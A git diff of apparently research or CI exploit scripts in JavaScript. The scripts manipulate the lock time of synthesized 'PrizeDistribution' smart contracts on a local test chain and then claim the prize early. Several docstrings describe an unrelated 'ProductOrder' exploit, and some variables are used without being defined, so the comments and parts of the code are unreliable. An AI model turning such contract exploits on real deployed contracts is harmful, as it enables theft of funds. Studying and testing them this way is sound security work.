work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution-6.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); +let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -34,56 +35,69 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; - console.log("Activating special event to temporarily bypass unlock time..."); + console.log("Starting precise timing manipulation..."); - // Step 1: Organizer activates the special event - let activateEventTx = await contractInstance.methods.activateSpecialEvent().send({ + // Manipulate the lock time with minimal amounts, timed to exploit delays + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ from: organizerAccount, + value: 1, // Sending the minimal amount (1 wei) gas: 300000 - }); - await sleep(200); - - console.log(`Special event activated, tx status: ${activateEventTx.status}`); - - if (!activateEventTx.status) { - console.error("Failed to activate special event!"); - return false; // Exploit failed - } - - // Step 2: Beneficiary immediately claims the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(200); - - if (claimTx.status) { - console.log("Prize successfully claimed during special event!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize during special event!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + }); + + console.log(`Manipulation ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(300); // Short delay between calls to create slight time differences + } + + // Send a transaction right before unlock time to ensure it processes just after unlock time + let currentTime = Math.floor(Date.now() / 1000); + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + console.log("Current system time:", currentTime); + + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime - 1; // Wait until just before the unlock time + console.log(`Waiting for ${waitTime} seconds until just before unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Send another minimal amount to try to sneak in just before unlock time + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, // Sending the minimal amount (1 wei) + gas: 300000 + }); + console.log(`Final manipulation sent, tx status: ${extendTx.status}`); + await sleep(500); + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } } - - - - - - - - + diff --git a/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-5.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-5.js new file mode 100644 index 00000000..c112df4d --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-5.js @@ -0,0 +1,134 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + +let BONUS_THRESHOLD = 10; + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting bonus timing manipulation..."); + + // First, extend the lock time just enough to trigger a bonus period + for (let i = 0; i < 3; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD + 1, // Sending just above the threshold amount to trigger a bonus period + gas: 300000 + }); + + console.log(`Bonus extension ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(500); // Short delay between calls + } + + // Then, use minimal value transactions to create confusion in the unlock time + for (let i = 0; i < 3; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, // Sending the minimal amount (1 wei) + gas: 300000 + }); + + console.log(`Minimal extension ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(500); // Short delay between calls + } + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Wait until just after the unlock time to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-6.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-6.js new file mode 100644 index 00000000..23e35e9c --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-6.js @@ -0,0 +1,133 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + +let BONUS_THRESHOLD = 10; + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting prize increment manipulation..."); + + // Step 1: Increase the prize amount significantly without extending the lock time too much + for (let i = 0; i < 10; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD - 1, // Sending just below the threshold amount + gas: 300000 + }); + + console.log(`Increment ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(300); // Short delay between calls to create slight time differences + } + + // Step 2: Send a large amount to extend the lock time significantly and increase the prize + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD * 5, // Sending a large amount to trigger significant lock time extension + gas: 300000 + }); + + console.log(`Large increment sent, tx status: ${extendTx.status}`); + await sleep(500); + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Step 3: Wait until just after the unlock time to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-7.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-7.js new file mode 100644 index 00000000..7b275956 --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-7.js @@ -0,0 +1,134 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + +let BONUS_THRESHOLD = 10; + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting lock time and prize amount manipulation..."); + + // Step 1: Send alternating minimal and maximum amounts to create confusion + for (let i = 0; i < 5; i++) { + // Send the minimal amount (1 wei) + let extendTx1 = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, + gas: 300000 + }); + + console.log(`Minimal extension ${i+1} sent, tx status: ${extendTx1.status}`); + await sleep(300); // Short delay between calls + + // Send a large amount to extend the lock time significantly + let extendTx2 = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD * 2, // Sending twice the threshold amount to trigger a significant extension + gas: 300000 + }); + + console.log(`Significant extension ${i+1} sent, tx status: ${extendTx2.status}`); + await sleep(300); // Short delay between calls + } + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Step 2: Wait until just after the unlock time to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-8.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-8.js new file mode 100644 index 00000000..d4653d5d --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-8.js @@ -0,0 +1,133 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + +let BONUS_THRESHOLD = 10; + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting precise lock time manipulation..."); + + // Step 1: Alternate between just below and just above the BONUS_THRESHOLD + for (let i = 0; i < 5; i++) { + // Send just below the threshold to avoid bonus + let extendTx1 = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD - 1, + gas: 300000 + }); + + console.log(`Just below threshold extension ${i+1} sent, tx status: ${extendTx1.status}`); + await sleep(300); // Short delay between calls + + // Send just above the threshold to trigger a minimal bonus period + let extendTx2 = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD + 1, + gas: 300000 + }); + + console.log(`Just above threshold extension ${i+1} sent, tx status: ${extendTx2.status}`); + await sleep(300); // Short delay between calls + } + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Step 2: Wait until just after the unlock time to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-9.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-9.js new file mode 100644 index 00000000..4b8c1167 --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-9.js @@ -0,0 +1,131 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + +let BONUS_THRESHOLD = 10; + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting incremental extension manipulation..."); + + // Step 1: Incrementally extend the lock time with minimal amounts + for (let i = 0; i < 10; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, // Sending the minimal amount (1 wei) + gas: 300000 + }); + + console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(300); // Short delay between calls to create slight time differences + } + + // Step 2: Send a large amount to extend the lock time significantly and increase the prize + let largeExtendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD * 3, // Sending a large amount to trigger a significant lock time extension + gas: 300000 + }); + + console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); + await sleep(500); + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Step 3: Wait until just after the unlock time to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-2.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-1.js similarity index 68% rename from CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-2.js rename to CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-1.js index e34dd4f1..ce9d02c7 100644 --- a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-2.js +++ b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-1.js @@ -16,7 +16,7 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution-2.sol'; +const contractFileFullName = 'PrizeDistribution-1.sol'; let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); @@ -33,6 +33,7 @@ let solcVersion = extractSolcVersion(source); * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. * @throws {Error} If there's an error during the exploit process. */ + async function exploit(web3, envInfo, contractAddress) { try { let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); @@ -40,52 +41,46 @@ async function exploit(web3, envInfo, contractAddress) { let organizerAccount = envInfo.accounts[0]; let beneficiaryAccount = envInfo.accounts[1]; - console.log("Increasing prize amount to create the underflow condition..."); + console.log("Starting to extend the lock time..."); - // Step 1: Increase the prize amount significantly - let bulkExtensionTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: web3.utils.toWei('10', 'ether'), // Large extension to raise prize amount - gas: 300000 - }); + // Extend the lock time with just enough value to trigger the increase, multiple times + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD, // Sending exactly the threshold amount + gas: 300000 + }); + console.log(`Extension ${i + 1} sent, tx status: ${extendTx.status}`); + await sleep(500); // Short delay between calls + } + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); await sleep(500); - if (!bulkExtensionTx.status) { - console.error("Failed to increase prize amount!"); - return false; + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Wait until just before the claim period expires + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 4 * 60 + 59; // Wait just before the claim period expires + console.log(`Waiting for ${waitTime} seconds until just before the claim period expires...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); } - // Step 2: Attempt to trigger underflow - let underflowTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 0, // Sending 0 to trigger underflow + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, gas: 300000 }); await sleep(500); - console.log(`Underflow attempt status: ${underflowTx.status}`); - - // Step 3: Check if the unlock time was reduced - let unlockTime = await contractInstance.methods.unlockTime().call(); - let currentTime = Math.floor(Date.now() / 1000); - console.log(`Unlock time: ${unlockTime}, Current time: ${currentTime}`); - - if (currentTime >= unlockTime) { - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful } else { - console.error("Underflow did not reduce unlock time sufficiently."); + console.error("Failed to claim the prize!"); return false; // Exploit failed } } catch (error) { @@ -99,9 +94,6 @@ async function exploit(web3, envInfo, contractAddress) { - - - /** * Executes the exploit and checks its result * diff --git a/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-10.js b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-10.js new file mode 100644 index 00000000..55d47f4b --- /dev/null +++ b/CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-10.js @@ -0,0 +1,138 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution-10.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting to extend the lock time..."); + + // Extend the lock time with just enough value to trigger the increase, multiple times + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD, // Sending exactly the threshold amount + gas: 300000 + }); + console.log(`Extension ${i + 1} sent, tx status: ${extendTx.status}`); + await sleep(500); // Short delay between calls + 